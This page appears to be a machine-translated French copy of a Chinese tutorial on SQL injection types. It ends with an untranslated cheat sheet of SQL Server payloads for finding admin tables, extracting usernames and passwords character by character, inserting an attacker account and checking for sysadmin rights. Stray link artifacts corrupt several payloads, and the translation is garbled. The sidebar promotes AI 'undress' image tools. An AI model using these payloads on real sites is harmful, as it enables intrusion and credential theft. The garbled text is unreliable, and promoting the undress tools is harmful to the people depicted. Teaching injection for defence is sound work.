Qu'est-ce qu'une instruction d'injection SQL ?
Il existe trois types d'instructions d'injection SQL, à savoir : 1. Point d'injection numérique, avec des instructions telles que "select * from table name which id=1 and 1=1" ; 2. Points d'injection de caractères, avec des instructions telles que « sélectionnez * à partir du nom de la table où nom » ; 3. Recherchez le point d'injection.
L'environnement d'exploitation de cet article : système Windows 7, version SQL Server 2016, ordinateur Dell G3.
Instructions d'injection SQL courantes
Injection SQL
1. Qu'est-ce que l'injection SQL
En insérant des commandes SQL dans des formulaires Web Soumettre ou entrez la chaîne de requête du nom de domaine ou de la demande de page, et finalement incitez le serveur à exécuter des commandes SQL malveillantes.
2. Types d'injection SQL
Classés selon le type de point d'injection
(1) Point d'injection numérique
De nombreux liens web ont une structure similaire http : //xxx.com/users.php?id=1 L'injection basée sur ce formulaire est généralement appelée point d'injection numérique car le type d'identifiant du point d'injection est un nombre dans la plupart des pages Web, telles que l'affichage des informations personnelles de l'utilisateur, l'affichage d'articles. , etc., la plupart d'entre eux utilisent cette forme de structure pour transférer des informations telles que l'identité, les transmettre au backend, interroger les informations correspondantes dans la base de données et les renvoyer à la réception. Le prototype de ce type d'instruction SQL est probablement select * from 表名 where id=1
S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante pour le dynamitage : select * from 表名 where id=1 and 1=1
(2) Point d'injection de caractères
Le lien Web a une structure similaire http://xxx.com/users.php?name=admin. Le type de nom de point d'injection est un type de caractère, il est donc appelé point d'injection de caractère. Le prototype de ce type d'instruction SQL est probablement select * from 表名 where name='admin'
. Il convient de noter que par rapport au prototype d'instruction SQL de type injection numérique, il y a plus de guillemets, qui peuvent être des guillemets simples ou doubles. S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante : select * from 表名 where name='admin' and 1=1 '
Nous devons nous débarrasser de ces guillemets ennuyeux.
(3) Rechercher le point d'injection
Il s'agit d'un type d'injection spécial. Ce type d'injection fait principalement référence au fait de ne pas filtrer les paramètres de recherche lors de la recherche de données. Généralement, il y a "keyword=关键字"
dans l'adresse du lien. Certains ne sont pas affichés dans l'adresse du lien, mais sont soumis directement via le formulaire du champ de recherche. Le prototype de l'instruction SQL soumise par ce type de point d'injection est grossièrement : select * from 表名 where 字段 like '%关键字%'
S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante pour le dynamitage : select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
Soumettre en fonction des données La façon de classer
(1) Injection GET
La façon de soumettre les données est GET, et l'emplacement du point d'injection est dans la partie paramètre GET . Par exemple, il existe un tel lien http://xxx.com/news.php?id=1, id est le point d'injection.
(2) Injection POST
Utilisez la méthode POST pour soumettre des données. Le point d'injection se trouve dans la partie données POST, ce qui se produit souvent dans les formulaires.
(3) Injection de cookie
La requête HTTP apportera le Cookie du client, et le point d'injection existe dans un certain champ du Cookie.
(4) Injection d'en-tête HTTP
Le point d'injection se trouve dans un certain champ de l'en-tête de la requête HTTP. Par exemple, il existe dans le champ User-Agent. À proprement parler, Cookie devrait en fait être considéré comme une forme d’injection d’en-tête. Car lors des requêtes HTTP, Cookie est un champ dans l’en-tête.
Classification selon l'effet d'exécution
(1) L'injection aveugle basée sur la booléenne
est une injection qui peut déterminer si la condition est vraie ou fausse basé sur la page renvoyée.
(2) L'injection aveugle basée sur le temps
signifie qu'aucune information ne peut être jugée sur la base du contenu de retour de la page, et les instructions conditionnelles sont utilisées pour vérifier si l'instruction de délai est exécutée (qui c'est-à-dire si le temps de retour de la page augmente).
(3) Injection basée sur le rapport d'erreurs
signifie que la page renverra des informations d'erreur ou renverra le résultat de l'instruction injectée directement à la page.
- Guillemets simples
- Guillemets doubles
- Injection basée sur des nombres
(4) Injection de requêtes syndicales
L'injection en cas d'union peut être utilisée.
Déclarations couramment utilisées
1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表 3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 and 0<(select count(*) from admin) and 1<(select count(*) from admin) 4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*)>0)-- and 1=(select count(*) from admin where len(用户字段名称name)>0) and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确 6.猜解字符 and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. group by users.id having 1=1-- group by users.id, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank >_id)- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank >_id,login_blank>_name)- UNION SELECT TOP 1 login_blank>_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 看_blank>服务器打的补丁=出错了打了SP4补丁 and 1=(select @@VERSION)-- 看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))-- 判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) and sa=(SELECT System_blank>_user)-- and user_blank>_name()=dbo-- and 0<>(select user_blank>_name()--
Recommandé (gratuit) : tutoriel SQL
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds



HQL et SQL sont comparés dans le framework Hibernate : HQL (1. Syntaxe orientée objet, 2. Requêtes indépendantes de la base de données, 3. Sécurité des types), tandis que SQL exploite directement la base de données (1. Normes indépendantes de la base de données, 2. Exécutable complexe requêtes et manipulation de données).

"Utilisation de l'opération de division dans OracleSQL" Dans OracleSQL, l'opération de division est l'une des opérations mathématiques courantes. Lors de l'interrogation et du traitement des données, les opérations de division peuvent nous aider à calculer le rapport entre les champs ou à dériver la relation logique entre des valeurs spécifiques. Cet article présentera l'utilisation de l'opération de division dans OracleSQL et fournira des exemples de code spécifiques. 1. Deux méthodes d'opérations de division dans OracleSQL Dans OracleSQL, les opérations de division peuvent être effectuées de deux manières différentes.

Oracle et DB2 sont deux systèmes de gestion de bases de données relationnelles couramment utilisés, chacun possédant sa propre syntaxe et ses propres caractéristiques SQL. Cet article comparera et différera la syntaxe SQL d'Oracle et de DB2, et fournira des exemples de code spécifiques. Connexion à la base de données Dans Oracle, utilisez l'instruction suivante pour vous connecter à la base de données : CONNECTusername/password@database Dans DB2, l'instruction pour vous connecter à la base de données est la suivante : CONNECTTOdataba.

Qu'est-ce que l'identité en SQL ? Des exemples de code spécifiques sont nécessaires. En SQL, l'identité est un type de données spécial utilisé pour générer des nombres à incrémentation automatique. Il est souvent utilisé pour identifier de manière unique chaque ligne de données dans une table. La colonne Identité est souvent utilisée conjointement avec la colonne clé primaire pour garantir que chaque enregistrement possède un identifiant unique. Cet article détaillera comment utiliser Identity et quelques exemples de code pratiques. La manière de base d'utiliser Identity consiste à utiliser Identit lors de la création d'une table.

Interprétation des balises SQL dynamiques MyBatis : explication détaillée de l'utilisation des balises Set MyBatis est un excellent cadre de couche de persistance. Il fournit une multitude de balises SQL dynamiques et peut construire de manière flexible des instructions d'opération de base de données. Parmi elles, la balise Set est utilisée pour générer la clause SET dans l'instruction UPDATE, qui est très couramment utilisée dans les opérations de mise à jour. Cet article expliquera en détail l'utilisation de la balise Set dans MyBatis et démontrera ses fonctionnalités à travers des exemples de code spécifiques. Qu'est-ce que Set tag Set tag est utilisé dans MyBati

Contexte : L'un des besoins de l'entreprise est que le composant de journal de suivi des liens existant de l'entreprise doit prendre en charge l'impression du temps d'exécution SQL de MySQL. La méthode courante pour implémenter le suivi des liens consiste à implémenter l'interface d'intercepteur ou l'interface de filtre fournie par un framework ou un outil tiers. MySQL ne fait pas exception. En fait, il implémente simplement l'interface d'interception pilotée par MySQL. Il existe différentes versions de canaux qui implémentent spécifiquement MySQL, et les interfaces d'intercepteur des différentes versions sont différentes, vous devez donc implémenter l'intercepteur de réponse en fonction des différentes versions du pilote MySQL que vous utilisez. Ensuite, nous présenterons les canaux MySQL 5. et 6 respectivement. Implémentation de la version 8. MySQL5 est implémenté ici en utilisant la version du canal MySQL 5.1.18 comme exemple pour implémenter Statem

Solution : 1. Vérifiez si l'utilisateur connecté dispose des autorisations suffisantes pour accéder ou utiliser la base de données, et assurez-vous que l'utilisateur dispose des autorisations appropriées ; 2. Vérifiez si le compte du service SQL Server est autorisé à accéder au fichier spécifié ou ; dossier et assurez-vous que le compte dispose des autorisations suffisantes pour lire et écrire le fichier ou le dossier ; 3. Vérifiez si le fichier de base de données spécifié a été ouvert ou verrouillé par d'autres processus, essayez de fermer ou de libérer le fichier et réexécutez la requête ; . Essayez en tant qu'administrateur, exécutez Management Studio en tant que etc.

Lorsque Springboot+Mybatis-plus n'utilise pas d'instructions SQL pour effectuer des opérations d'ajout de plusieurs tables, les problèmes que j'ai rencontrés sont décomposés en simulant la réflexion dans l'environnement de test : Créez un objet BrandDTO avec des paramètres pour simuler le passage des paramètres en arrière-plan. qu'il est extrêmement difficile d'effectuer des opérations multi-tables dans Mybatis-plus. Si vous n'utilisez pas d'outils tels que Mybatis-plus-join, vous pouvez uniquement configurer le fichier Mapper.xml correspondant et configurer le ResultMap malodorant et long, puis. écrivez l'instruction SQL correspondante Bien que cette méthode semble lourde, elle est très flexible et nous permet de
